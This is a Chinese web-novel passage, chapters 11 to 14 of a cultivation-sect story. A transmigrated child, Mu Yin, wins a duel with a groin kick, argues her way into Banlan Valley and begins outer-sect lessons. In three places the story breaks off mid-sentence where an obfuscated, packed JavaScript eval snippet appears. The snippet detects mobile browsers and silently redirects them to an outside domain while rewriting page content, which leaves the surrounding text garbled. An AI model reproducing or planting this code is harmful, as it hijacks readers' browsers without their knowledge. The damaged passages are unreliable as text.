话音刚落,简鹰的拳头笔直向前,虽然没有蓄力,但多年日积月累的操练早已让这具身体超脱凡人之境;木音“嗖”一下蹲下来,抬头瞟一眼硕大的拳头,嘴里“嗷嗷”叫唤,似乎下一秒就要哭出来。 有赵飞衡和云霄殿那些人在场,简鹰不好做太绝,只能收手,问问这小屁孩儿还有什么花样。 下一秒,土屑迷眼,断子绝孙脚! 一片寂静…… 木音站起来,拍拍腿上的灰,朝仰躺在地上抽气的大块头抱拳,恭恭敬敬道:“得罪了,道友,胜负已分。” 万万没想到会是这样的结局,霎那间,大殿内鸦雀无声。 武定长老气极反笑,一掌拍裂面前的桌板:“可笑!真是荒谬!你们水云门就这么教导弟子的?” “武定长老急什么,不如先说清楚,我宗是如何教导弟子才令你如此愤怒?”绮珊长老话一出,不少人看过来。 昆仑派的人也在内。 绮珊长老常年在外游历,和不少宗门、修仙世家交好,也因此她不爱说话的性格广为人知,只有少数人和水云门内门人知道,这姑奶奶真不好惹。 “绮珊长老这是何意?事实明摆着,大家刚刚都看到是你水云门弟子手段下流。” 武定长老义愤填膺,难得有话说,刚开个头就被打断。 “手段下流?”绮珊长老放下茶杯,周身萦绕一股危险的气息,慢慢散开。 “我游历多年,见过凡人夫妇吵架,丈夫一脚踹在妻子腹中,甚至有些女子已有身孕,仍遭此毒手,官府无所作为,也见过修仙世家处理脏事的手段。怎么,女子的腹部可以打,男子那点下三路的勾当就碰不得?还是说,这小弟子刚刚的那声尖叫是下流?若真如此,要我给武定长老回忆回忆何时会有尖叫声吗?” 11. 11 云霄殿内一时间鸦雀无声。 武定长老气得满脸通红,恶狠狠盯着喝茶的绮珊长老,一个字都不敢说。 多说一句,今日他和绮珊道友必有一战。 他可打不过,不对,他只是不想拂了水云门的脸面。对,就是这样,他可是个知进退、有分寸的体面人。 坐在旁边的掌门瞧见他脸色变化,再看绮珊师妹不愿多说的样子,从善如流举杯:“武定道友,来,我敬你一杯,哈哈,你知道的,我这师妹一向心直口快。” 救星! 武定长老连忙举杯迎合,一副“理解理解,客气哎客气,当不起”的样子,嘴皮子嘟囔半天,一个词儿都没敢说清楚。 一切尽在酒杯中。 玉清风崇拜地看着师尊的背影,遥想初见师尊时她那英姿飒爽的样子,顿时觉得心潮澎湃,恨不得立刻回斑斓谷把剑诀学会,提升修为,和师尊一起游历天下,惩奸除恶。 突然,师尊的声音在她耳边响起,冷若清风,两字打断她的思绪:“静心。” 玉清风:! 被师尊发现了?师尊真厉害! 心里疯狂夸夸,脸上逐渐变得毫无表情,玉清风火速“静心”,跟师尊一起专心致志看水雾中的画面。 大师兄走上前,将简鹰慢慢扶起来:“道友,我这师弟年纪小力气小,不知你伤得可重?若是太严重的话,我可以请师叔来为你诊治。” 水云门大师兄的师叔能是谁?各峰长老呗。 要真出了问题,怕是明天全天下的人都会知道他简鹰…… 简鹰咬牙切齿地瞪他一眼,一把抹掉脸上的尘土,四处寻找罪魁祸首。 “那个小弟子呢?使这种下流手段,也配修仙?心术不正,修仙之途也难有进展,你作为水云门大师兄,当早做决断,免得浪费宗门内部资源,毕竟,你们人多呢。” 紧随而来的墨瓷英和他对视一眼,毫不客气瞪回去:“道友还有力气插手我宗的事情,看来是没什么大事。” 赵飞衡没有回头看,心里叹口气。 师尊和师叔们怎么还没人来个准信儿,再这样闹下去,估计还得打一架。平时小打小闹也就算了,今日绮珊师叔在,非往常能比,真闹起来,说不定能把长崎派的掌门闹过来调解纠纷。 万来殿的废墟中,一个小小的身影在垃圾堆里四处翻找。 终于! 她找到一个圆溜溜的头顶,头上还有跟刺儿似的短发。这是刚刚被打飞、撞塌万来殿的那位壮士。折腾这么久,水云门都没个弟子过来把人挖出来。 “道友?道友?你还能说话吗?”木音戳了戳他的脑壳。 多亏这位道友,她刚刚才有机会出奇制胜。 五分钟前—— 木音刚花费口舌说一大堆话,自己都口干舌燥,上气不接下气,疑似颅内缺氧,忽然听见一声轻笑,整个人又清醒了。 她没听错,是笑声。 这声音醇厚粗壮,既不是面前这位简鹰道友的,也不是悬停在上空那四位同门的,更不是幻听。是谁这么恶毒,在这时传音给她?吓唬她? “这位前辈,请问你有什么事?” “听他们说你是小师弟,因为年纪小?小孩,你有办法赢简鹰吗?” 木音愣了一下。 这还能是个问题?这不是事实吗!她还能赢过这个狠人啊!她的任务是输得有水准,有技术,让大师兄有借题发挥,解决当前困局的基点,正好展现她机灵的一面,博得好感。 “没有。” “正好,你赢不了,我不想让你输。一会儿你听我的,我说,你做。” “为何不想让我输?前辈和这位简鹰前辈是同门吧。”木音大概猜出这声音的出处——压在万来殿下的那人。 他是木音认知中唯一看不见又确定其存在的人,而且霸道的性格很符合她对长崎派的刻板印象,狂傲,鲁直。他没有否认,便是认了,同门阴同门,胜率九成九。 但是! 谁能想到他说的法子竟然是断子绝孙脚! 果然还是男人了解男人,同门了解同门,说不定长崎派密法的缺陷就是这个。 木音决定了,要是以后长崎派还敢打上门,她就将这个秘密告诉全宗门,不对,是造福天下修仙者,让天下所有眼红丰厚资源又爱打家劫舍之人多一条路可走。 “小道友,挪脚。” 醇厚的声音传到耳边,木音立即收起乱七八糟的想法,讪讪地笑一下,跳到一边。 脚下那块木板快被她踩断,裂开一条大缝。被压在废墟下的那人微微用力,木板崩裂,两侧木材碎片纷纷扬扬落下,露出一张划花的脸,宽阔饱满的肩膀和破碎的衣服布料。 初次见面,木音悄悄吸一口气。 这人原来这么大!光是坐着,上半身就和站在废墟上的木音差不多高,单侧肩膀差不多和她的腰一样宽,眉眼上行,头发根根直立,凶相毕露。 “前、前辈好。”木音哆哆嗦嗦行礼,突然想起来自己只会不正宗的平辈礼,顿时僵在原地。 “免了。”大块头略微用力,从废墟中抽出两条腿,搭在一扇门前。 阔腿收脚裤被撕成条状布料,迎风飘荡。 赵飞衡打过招呼,捏诀布阵,将万来殿的废墟收拾整齐,分类放在和树林交界处。大块头往后走几步,坐在那堆木条木块上。 “展道友,需要一起诊治吗?” “不用,他的伤比我更重要。”展庭意有所指,说话时瞥一眼简鹰,手一伸,斜插进地面的棍子自行飞到他手里,被收进储物戒指中。 还在拔棍的林游突然两手空空,差点扑到地上,还好被师兄一把拽回来。 赵飞衡将视线从两位师弟那儿收回,和墨瓷英一起看向简鹰,后者一挥衣袖,表示自己没事,就是鼻子似乎不舒服,连哼好几声。 “这法器威力非同一般,是展道友新得的武器?”林游凑上前,满脸期待地看向展庭。 他刚刚一直在想办法拔棍子,没想到不是法器太重,而是法器有灵。 这好东西啊! “当然。”展庭掏出长棍,就着一身褴褛将棍子耍得虎虎生风。 “嘚儿。嘿,简鹰,看见没,就算你和那小弟子比试,绝不会输的局你输了,说明什么?说明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089027|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱这棍啊,它不亲你,它就亲咱。哎嘿!” 正在看耍猴的木音:…… 果然,尽信书不如无书。《师妹和她的108个男人》里长崎派可没展庭这个人物,光一个会装傻充愣的武定,一个嘴替简鹰就足够代表长崎派的门风,再加上这大块头,其门风是不是鲁莽率直这一点就变得有待商榷。 简鹰转过头,对木音怒目而视,咬紧牙根吐出两个字:“无、耻!” 赵飞衡脸色一沉,正想上前说什么,身后那小孩率先开口:“这位前辈,何为无耻?是恃强凌弱为无耻,还是趁虚而入,逼人以重宝打赌为无耻?” 此话一出,无疑是将展庭卖了,也将自己拖入随时可能发生的长崎派门内斗争的漩涡中。 太草率了。 赵飞衡皱紧眉头,观察两位长崎派弟子的脸色。 展庭似乎完全不在意,还将棍子丢给林游师弟耍两手;简鹰素来爱斤斤计较,此刻脸更是黑成锅底灰。 “小师弟,你。”赵飞衡刚开口就被打断。 “大师兄,我水云门先祖开宗明义,广纳同道,为的是共同探寻得道成仙之路,与天争,与地搏,行得正,坐得直。今晚,这位前辈先是欺我道行微末,年纪尚小,说是自封修为,却用功法滋养的身躯与我决斗,我应了,而现在又说我行事不端,难道不是前辈欺我太甚,视我水云门尊严为无物?” 又是长长的一段话,似乎有理有据,不少人听完头晕晕的。 绮珊长老轻笑一声:“这小弟子倒是有骨气,有我行事的风格。不知是哪位师兄师弟的弟子,改日我送点小玩意儿过去,给小师侄一点见面礼。” 玉清风竖起耳朵,眼睛扫射全场,准备瞄准站出来认领的长老。 绮珊长老的礼物让不少人眼红,但过了许久,没有一位长老出声,几位长老面面相觑。 没有人应? “水云门掌门,你那徒弟一口一个‘小师弟’,怎么,这小弟子口舌伶俐,都没人敢认领了吗?哈哈哈哈哈哈。”武定长老一扫之前的郁闷,哈哈大笑。 若连门内弟子都不是,那今日这些辩驳就都是笑话。 角落里,言则抬头瞄一眼,突然发现那水雾中的小孩有点面熟,定睛一看,差点跳起来。这,这不是木音吗? 师姐!哦,忘了,子兰师姐在山下执行任务。 言则一脚踹在旁边畅饮美酒的崔西腿上,用手指水雾,用力做表情,吸引师兄的注意力;两招无效后,他只能密语传声,试图用最大声音唤醒这个醉得两只眼睛已经各看各的师兄。 然后,师兄醉趴在桌上。 言则:…… 掌门勉强挤出一点笑意,视线一扫,无人回应他,心知此中必有问题,但表面功夫得先到位。 “今晚有几位长老在轮值,还有几位在山下扶助百姓。近日玉家和妖族的矛盾逐渐激化,不少村镇受到恶妖和鬼修的夹击,百姓日夜难寐。” 两句话转移话题,再加一句叹息,成功激起武定长老内心的正义感。 趁他滔滔不绝,掌门火速传音给自己的大弟子:“飞衡,这孩子是哪位长老的弟子?” 12. 12 木音自知刚刚那番话是一招险棋。 她捧高水云门,暗地里贬斥简鹰手段下作,为水云门挣得一点脸面的同时也表现自己机灵善辩、有归属感的一面,但水云门终究不是学生会,稍有越界,就可能沦为两派之争的弃子。 目前来看,保命效果不错。 简鹰气红了脸,拿出金绞剪冲过来。 没走出几步,大师兄拉住他,林师兄、墨师兄和另一位师兄呈三角形站在木音面前,护住她。 “道友,这是水云门,今日是我水云门宴请四方,庆贺绮珊长老收徒。”赵飞衡沉声说道,警告之心不言而喻。 见势不妙,简鹰收起武器,冷笑道:“水云门宴请宾客,就可以仗势欺人了?先是用下流手段,现在又泼脏水,我何时逼迫展师弟和我打赌?你听见了?还是你?你?” 林游、墨瓷英等人连连摇头,心有郁闷。 长崎派的弟子一向看事实不动脑子说话,他们也都习惯直来直去地处理,偶然遇到简鹰这种圆滑的,讲究证据反而成为他脱身的秘宝。 他们可说不过他。 赵飞衡还在琢磨怎么尽快解决这桩糊涂事,突然收到师尊的传音,心里一惊。 师尊和各位长老竟然会如此重视这位师弟! 但这位师弟的身份…… 上山时,他几次询问师弟的住处,师弟都不说话,原以为是师弟受惊之后心神未定,不善言辞,如今看来,分明是答不上来。 “请师尊恕罪,弟子办事不利。弟子今日回来时见山脚下的木旗镇有妖物横行,意外发现这个有修为的孩子,他一眼便认出弟子,弟子以为他是内门弟子,便带上山,但几次询问,他都没有说是哪一峰的弟子。” 掌门也震惊了,以防露出破绽,忙敬武定长老一杯酒,边喝边传音:“你的意思是,这孩子是昆仑派的?” 许是因为昆仑派地处高山峻岭,弟子都沉默寡言。 但事无绝对。正如长崎派有简鹰,昆仑派未必没有过于调皮跳脱的孩子。如此,一切便都能说通了。 赵飞衡愣了一下。 怎么就变成昆仑派的了?这孩子上上下下,哪一点不像他们水云门的弟子?师尊喝多了? “师尊,近些年昆仑派鲜少外出,就算收弟子,那些孩子怎么会一眼认出我?弟子怀疑这孩子是外门的,弟子暗中摸骨查过他的骨龄,已有六岁,和玉师妹差不多大,身型却比玉师妹小一圈。” 说到玉清风,掌门忍不住拿她和水雾里的小孩做比较,确实,小孩更小一些。 “掌门师兄,你询问飞衡师侄的事如何了,这孩子是哪位师兄师弟的徒儿?”察觉到掌门的目光,绮珊长老望过来,隐约有一丝笑意。 “是鄂长老前些日子收的记名弟子,他大概是忘了。”掌门边说边笑吟吟地看向鄂长老。 鄂长老瞪大眼睛,还没来得及反驳,掌门的声音先传过来:“鄂师兄,鄂师兄,帮我这一次!我那徒儿做了笔糊涂账,等送走长崎派、昆仑派这些人,我再跟你解释。” 与此同时,绮珊长老也用密法传音:“鄂师兄,掌门师兄说的是真的?昨天你不是刚拜托我在外给你物色一个和清风一样优秀勤奋的好孩子吗?” 鄂长老:…… 合着都赶上他一个人欺负? 鄂长老放下茶杯,轻咳两声,斟酌一会儿,说道:“掌门不提醒我,我还真没发现,这孩子的脸太脏,和之前的样子判若两人,想必是在山下遇到一些困难。” “什么困难能让一个衣食无忧的孩子变成这样,莫非是宗门规矩?”绮珊长老收起笑意,斜眼看鄂长老,后者直冒冷汗,连忙求助掌门。 绮珊师妹当真是难糊弄,要不是有外人在,今天这桌子都得被她掀翻。 “师妹说笑了。你不知道,就在不久前,山下木旗镇惨遭妖物屠戮,飞衡带着弟子回宗门时顺手清理妖物,将这小弟子一并带回来。”掌门摸了摸没有胡须的下巴,暗暗朝绮珊师妹的方向竖起两根手指。 绮珊长老瞥过脸,不看。 无奈之下,掌门忍痛再竖起一根手指——今年泰来峰上的三成丹药、灵石等资源,尽归斑斓谷。 绮珊师妹的斑斓谷地广人稀,又只有玉师侄一个嫡传弟子,资源充沛;他的泰来峰虽只有两名嫡传弟子,但各位散修好友、修仙世家送来的记名弟子多达数百个,原本勉强够用,接下来是狼多肉少,得闹出不少矛盾。 “木旗镇?就山脚下那个小镇?”武定长老照猫画虎,摸摸自己短短的胡须。 得到水云门掌门的肯定,他更加疑惑:“近来妖族和玉家纷争不断,应该不会有大妖流窜到这里。我来时从镇子上方经过,也没有感受到妖邪之气,此时镇子被屠,时机不对。” 掌门点头接话:“武定道友所言,亦是我心中不安之处。不如让我那不成器的徒儿来这详细说说此番经过?” 几位长老一致同意。 赵飞衡很快带着不服气的简鹰、干瞪眼的墨瓷英三位师弟,一脸无所谓的展庭和闹出乌龙的小孩飞上云霄殿。 一一行礼后,墨瓷英带着三位师弟坐到师尊身边。 展庭走回自己的座位,之前比武,后来被埋在废墟下,前前后后花费不少时间,现在桌上的菜还留有不少,他正好饿了。 行走时,他全身上下布条飘飘,隐隐露出血痕和健壮的身材,一条腰带勒住几块大布料。不少女修瞥过脸,不敢看。绮珊长老见状,随手一挥,流光划过,展庭被白绸包成茧扔回他的座位。他光看不能吃,不停地哼哼,声音越来越大,引来更多人轻笑。 绮珊长老又施一道法术,封住他的声带和嘴。 简鹰的座位和展庭靠在一起。 他笑眯眯地凑过来,“好心”倒些酒水在白绸上,酒香浓郁,展庭又馋又气,只能对他干瞪眼。 一点插曲后,掌门开始询问木旗镇的情况。 赵飞衡恭恭敬敬行过礼,回答:“师尊,弟子从秘境出来,领先师弟师妹一步返回宗门,途径木旗镇,发现镇上被特殊的阵法笼罩,从外面看,镇中与往常无异,百姓日落而息,但阵法波动中含有一丝妖气和血腥味。弟子破开阵法,发现镇中井妖横行,生灵涂炭,匆忙救人中发现这位师弟,便将他一起带回来。” 几乎完全正确。 抹除那只狐狸的踪迹,抹除木音曾告诉他的另一个真相,赵飞衡当真是书中近乎完美的大师兄,正直,仁慈,有担当,有责任感。 木音望着被烛火染黄的地砖,心中有种莫大的无力感。 就算知道这宗门和书中的不一样,大师兄和书中的不一样,她也必须拼尽全力争取留下来的可能性,为了在这个世界活下去,恰如当年拿着小姨的钱进入大学,为了完成父母眼中好学生必做的事情,活成父母最拿不出但能在那个家有个住的地方的女儿,她挖空心思进入学生会,耗空自己的精力和心情。 “赵师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089028|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侄,镇中还有多少百姓活着?伤亡如何?镇子重建是如何安排的”坐在掌门右边的男人出声问道。 这人虎背熊腰,留一撮短短的胡须,身体微微侧倾,左手手腕撑在扶手上。他身上的衣服是由皮革和毛皮制成,和水云门上下顺滑的布料截然不同。 显然,这是长崎派或昆仑派的代表。 掌门左侧那位慈眉善目、眼睛快眯成缝的就是另一个门派的代表。 赵飞衡先行礼,再回话:“禀武定长老,镇中百姓伤亡大半,多是壮年,妇人次之,儿童和老人最少。我留下一件宝物,让幸存的男丁带着家人进入镇子解决剩下的井妖,救助幸存者。” 乍一听,真是让人潸然泪下的好心。 视法器为珍宝的修仙者竟然愿意为了人类让步,若非亲眼所见,木音绝对会被这般舍己为人的大师兄感动到。 可惜,那样的惨状,那种敷衍和冷漠,只有她一人见过,在场大多数人或是叹息木旗镇的不幸遭遇,或是赞叹大师兄的高风亮节,无人细问。 “可需要我等留下来一段时日,帮助木旗镇重建?”武定长老询问掌门。 掌门摇摇头:“凡人生于微末,一生困苦,这样的事情,他们早已习惯。明日我派几人下山帮他们运些药材,请几位大夫,再到官府陈说缘由,自会有人来帮忙。武定道友,多谢你的一番好意。北洲还有一个月就会进入冰封期,万万不能耽误你回去,一切以安全为重。” “也好,我代那些活下来的人敬掌门一杯,聊表谢意。”一杯酒下肚,武定长老满脸笑容。 见两人毕恭毕敬站在原地,他忍不住多说一句:“井妖这东西麻烦得很,若除不干净,过几年还会出来祸害生灵。可惜我北洲没几只井妖作乱,不然定派人来一场交流大会。” 这倒是个有心人。 木音满脑子都是桌上的菜,尤其是那个“白茧”面前的菜,几乎每一盘都有不少剩余,看得人眼红心痛,只能想些乱七八糟的东西分散注意力,比如吐槽上面这三位和旁边道貌岸然的大师兄。 大师兄,哎,可惜了~ 酒酣脑热,掌门也笑眯了眼,漂亮话里多了几分真心:“武定道友真是古道热肠,让吾等敬佩啊。” 推杯换盏之际,绮珊长老突然插话,瞬间将两人间的气氛冰冻。 “掌门师兄,我看这小弟子衣衫褴褛,不如让人带她去洗洗,换一身干净的衣服。清风,为师看你带的衣服里有一些偏小了,可愿意拿出来赠予鄂长老的弟子?” 突然被点到名,玉清风极快地点头答应。 鄂长老如芒在背,笑着说:“师妹挺喜欢这孩子?这孩子触犯门规,理当除名,不如,送到你斑斓谷当个杂役?” “清风觉得呢?”绮珊长老将语气柔和些,“若你不介意有个人在跟前晃,倒是可以接受,若不习惯,就算了。我的弟子,不必委屈自己。” 鄂长老:…… 得,是我强人所难了呗。气~ 木音悄悄用余光扫到旁边。没想到,她这么快就能见到原著女主玉清风,至于绮珊道人,文中只提过几句,似乎是被上一代人的恩怨纠缠,直到水云门灭门都杳无音讯,不知生死。 玉清风此时还是个粉雕玉琢的小娃娃,绮珊长老国色天香,霸气侧漏,不愧是女主的师父。 “禀师尊,斑斓谷面积广阔,多一人不碍事。” 木音:? 玉面罗刹竟然答应了! 13. 13 木音在斑斓谷的事就这样说定了。 第二日,长崎派和昆仑派的人告别水云门众人,踏上归程,与他们一起出发的,还有绮珊长老。 大师兄得掌门命令,清点人手下山。临走前,他特地跑来斑斓谷。 斑斓谷地处两座山峰中间,气候温热湿润,适宜灵植生长,灵宠繁衍;谷内豢养大量“天马”,常年弥漫着一股浓烈的异味,鲜少有人踏足。 天马,一种头生两角上翘,体型足有成年男子手背大小的虫子,可炼药,可炼器,浑身都是宝。 受困于阵法,天马群居在在两边悬崖上,悬崖下有两间小小的平房,房子前面十米的地方有一条三米宽的溪流,水流灌溉山谷,灵植随处可见,生叶开花,色彩斑斓绚丽。 木音就生活在这里,一间房烧水做饭,一间房更衣睡觉。 她每天的任务是在天亮前收集悬崖下的白色颗粒,磨成细粉,混入水中,洒在灵植萎靡的地带。 收到大师兄传信时,她正在用捣药杵磨粉。哪怕用麻布做成简单的口罩,空气中那股味儿还是熏得她想呕,以防万一,她特意换一身衣服来到斑斓谷入口。 入口只有一人。 “见过大师兄,大师兄找我有什么事?”木音眼观鼻鼻观心,以不出错为最高目标,用最公关的语气询问。 最好这一次说清,以后他们俩再也别沾上瓜葛。 大师兄递来一根木简。 木简上刻有复杂的符文,用红漆勾勒图案。仔细一看,好像是这个世界的文字,木音不识字,隐约能辨别出四块,似乎是四个字。 “这是我的传信木简,将灵力灌入此中,便可以隔空传话。此次我需要在山下盘桓数日,玉师妹喜欢清修,但初次入谷,师叔不在,难免会有不便。若有要事,我允你先告诉我,我自会安排妥当。” 这是……让她做间谍?不对,怎么就玉清风一人,她不是? 木音现在瞧大师兄真是眼睛不是眼睛,鼻子不是鼻子,碰到任何事都觉得是算计,看这木简更觉得生气。看不起她,偏偏算计别人还拉她下水! “弟子领命。”木音双手接过木简,高过头顶。 她的神态、语气毕恭毕敬,难挑错漏。 赵飞衡有些诧异。 这孩子之前是外门杂役弟子,身份已经查清,虽然间或涉及到子兰师妹,木音的身世有些曲折,但她的确是在水云门外门长大,鲜有教导,更别提礼仪。 若说伶牙俐齿是天赋,那这举手投足之间的礼貌……也是天赋? “甚好。掌门已查清你之前的身份,原谅你下山之过,绮珊师叔不计前嫌,庇佑你一席之地,希望你好好忏悔,改过自新。过几日会有执法队的弟子前来询问外门弟子私自下山之事,你当诚实回答,不得有遗漏、隐瞒。” “是。” 提点完木音,赵飞衡立即乘坐一叶舟离开斑斓谷。此次出来,他谁都没告诉,耽误时间过长,难免引人生疑。 等人走远,木音挺直腰杆,走回去。 斑斓谷很大,徒步需要三十分钟,幸好风景不错,灵植乍一看和普通植物没什么区别,看着养眼。 在唯一的交叉路口,她遇到谷中的另一个活人——玉清风。 一身深蓝色法袍披在身上,头发简单挽起,用一根簪子固定,粉雕玉琢的娃娃冷脸站在面前,眼神冷冰冰的。 “刚刚来找你的是大师兄?”打一照面,玉清风便开门见山。 她伸出手,语气不容置疑,更像是上位者对下属的命令:“大师兄给你的东西在哪?拿出来。” 木音哪敢转手给出去,行过礼,道:“玉前辈,大师兄的确给我一物,但他令我不得交给旁人,恕难从命,还请前辈放我过去。” “我不呢?”双手叉腰的玉清风没有半点罗刹的凶相,奶凶奶凶地瞪眼睛,神似被抢了棒棒糖的朵朵。 神似也只是相似,木音很清楚,她不可能再抱一次那个可爱的孩子,她也彻底失去所有庇护,必须独自一人想尽办法在这个世界活下去。她得一个脚印一个脚印,踏踏实实地往前走。 “若是我将这东西交给玉前辈,大师兄问责下来该怎么办?”朵朵那个小胖妞任性起来可以教训,换成玉清风,她可不敢。 “你不说,我不说,大师兄怎么会知道?”玉清风抬抬手掌心,意思再明显不过。 ——还不快给我? 木音犹豫片刻,抓住木简一端,露出中间的文字,慢慢递到距指尖三寸处:“还请前辈过目。大师兄说,若有要事,或缺少什么,可以用这个东西传信给他;他还说,玉前辈喜欢清修,不喜欢打扰,命我寻常时候不要打扰前辈。” “赵飞衡。原来大师兄名叫赵飞衡。”玉清风念出木简上的三个字,收回手。 木音连忙收回木简,生怕这任性小孩意识到这东西的作用不是关心自己,而是监视自己,大怒之下不仅反悔夺走木简,还大闹一场,那她的处境可就糟了。 污蔑大师兄,记一罪。 趁绮珊长老不在家,监视玉前辈,罪加一等。 昨夜大殿之上信口雌黄,罪加二等。 未筑基,擅自下山……其罪当诛! 木音:天要亡她! “多谢玉前辈。” “谢什么?以后大师兄用这个给你传信,一切内容当如实相告,否则,我就以师尊的名义将你驱逐出谷。”玉清风严肃着脸说道。 可笑! 都当她是傻子是吧? 她玉家除了主脉,其余十二支旁支为争夺资源和话语权,一天十二个时辰什么时候消停过,收买下人,偷传消息,不过是最此等的手段。 见木音没说话,她皱紧眉头,呵斥道:“没听见我说的?” “弟子不敢。”木音把头低得更低了。 相对于得罪大师兄,她更情愿得罪玉清风。大师兄可是握住她众多把柄的人,而且这人脑筋灵活,铁定经常黑吃黑,稍有得罪,她被整得吃不了兜着走;至于玉清风,要说可怕,那也是筑基下山后的事,等到那时候,她木音说不定都想法子把自己弄出斑斓谷,在外面另谋一条生路了。 比如,找个破庙,做个散修,天天摆摊算卦就不错。 “既然不敢,为什么不应我?” “弟子身份卑微,不敢忤逆大师兄,更不敢得罪玉前辈。在这谷内,弟子的一切都是玉前辈定夺,弟子深感惭愧,当年入门时性格顽劣,至今连字都不认识,更何况是替玉前辈传话这等要事,弟子生怕自己目不识丁,坏了玉前辈的大事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089029|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说来说去,木音就是羡慕玉清风认字,想拿木简讨个机会读书识字,充实一下自己。 玉清风明白她话中的意思,爽快答应:“既然你想学,我可以帮你和掌门师叔说一说。以后你每日只需要打理一面悬崖,两日为一轮回,剩下的时间就去外门学堂上课。” “多谢玉前辈。” “明日午时,你到斑斓谷的入口,自会有人来接你。” 玉清风办事风风火火,说是第二日午时,木音真就在第二日午时见到一只仙鹤和一只大鹅飞过来。 童子从仙鹤的翅膀上滑下来,行过礼,自报家门:“我是外门凌云道人的弟子,奉师尊之命来接师妹去学堂。这只灵鹅会跟随师妹,直到外门的课程结束。若想继续使用,需要去晓鸾峰租一只,这些事课上也会讲,我们边走边说吧。” 这位童子看起来客气,话刚说完,人就麻溜地爬上仙鹤背,冷眼看木音第一次爬飞禽。 木音抓住大鹅放下来的一侧翅膀,心中忐忑不安,用力重了,怕大鹅啄她,用力轻些,爬不上去,让童子等急了先跑了就完了。折腾好一会儿,她才哼哧哼哧坐上去。 大鹅展翅,和仙鹤一起穿越云海,飞向外门。 水云门坐落在一片峰峦上,山势高低起伏,亭台楼阁隐没在郁郁葱葱的树林中,偶尔能瞧见清凉的山泉顺流而下,时隐时现。 学堂坐落在半山腰的平台两侧,和升仙阶相对而望;坐在窗边,可以看见小广场上人来人往。 有些师兄师姐刚从山下回来,在广场中坐地叫卖,格外热闹。 “专注!”白发苍苍的老者走上讲台,轻拍戒尺,短短两字便让教室内一群正值五六岁的孩子们闭嘴、坐正。 木音悄悄环顾四周,在后排找到那位童子说的散修之徒。 这间学堂虽设在外门,但和外门杂役弟子的学堂是分开设立,互不相通的。如今在座听课的,除了木音这个特例,其他都是修仙世家送来的孩子和掌门、峰主等在外的散修好友托孤进来的孩子,前者是水云门旁大开支的承担者之一,后者则是概率性事件。 今年这样的小概率事件有四个。 散修之徒大多出生普通,甚至踏上修仙之路前就是个普通的放牛娃之类的,自然年纪偏大,相貌淳朴,在扎堆的粉嫩嫩、牛轰轰的娃娃里格外显眼。 从进入教室到现在,木音感觉不少人的目光都在偷瞄后面,也有一部分好奇地打量她。 不合群是木音上学十六年必要的插曲,她习以为常,先团结可以团结的人,若合不来,独来独往更轻松;休息时间,她主动走到后面,朝三个满脸不安的孩子主动搭话。 “嘿,你好,我是木音,木头的木,声音的音,我们交个朋友?” 右脸颊有一块胎记的结实女宝紧张地握紧双手,搓手指:“我师父说,不能和人随便交朋友。” 木音:…… “那,那你呢?” 三人中唯一一个男孩,长相憨厚,脸被晒得黝黑,牙齿也黄黄的,一开口,有点结巴:“我,我也不交,交随便的朋朋,朋友。” 木音:…… 屡战屡败,那就屡败屡战! 仅剩的一个相貌端正的女宝羞涩地开口:“你为啥和俺交朋友?俺没钱。” 14. 14 万万没想到,木音,一个带娃小能手,竟然出师未捷,接连碰壁。幸好休息时间短,夫子轻咳一声,所有人立即回到自己的位置。 “明日开始习字,所有弟子需要带笔墨纸砚过来当堂练习,可记清楚?” “记清楚了。” 夫子摸一摸胡须,满意地点头,继续授课。 “上一节课,我们说过此番天地的造化变迁,这一节课,我们来讲讲人、妖、鬼三族。人族,从上古万族中幸存,至今已有仙凡之别,有谁……嗯?后面那个擤鼻涕的弟子,不要把鼻涕黏在桌上。” 夫子的话锋陡然变得凌厉,引得一群小孩儿扭向后排看热闹。 擤鼻涕的正是散修之徒中,说话结巴的小男孩。 一时间,教室里爆发出响亮的笑声。 小男孩第一次遇到这种情况,愣了一下,紧接着难为情地低下头,一手把鼻涕抓在手里,一手用袖子把桌面擦干净,但黏稠的鼻涕总是从指缝中滑落,越忙越乱,他怎么擦也擦不干净,只有笑声越来越响。 木音面无表情看着这一切,余光悄悄盯住不动如山的夫子。 小孩子总有生病擤鼻涕的时候,是这满屋子的笑声无法触动夫子的恻隐之心,还是夫子在看人下菜碟,借没有背景的小孩树立威信? 上辈子,这种事经常发生,即便时空转换,木音也能幻视那个位置的尴尬和恐惧。 她一定要老实苟住,学会认字法就跑。 没过多久,夫子单说一个“静”字,教室里的笑声迅速变小,有几个人没来得及收住,响亮的笑声反倒让他们羞红了脸,连忙低下头。 “有谁来说说为何有仙凡之别?” 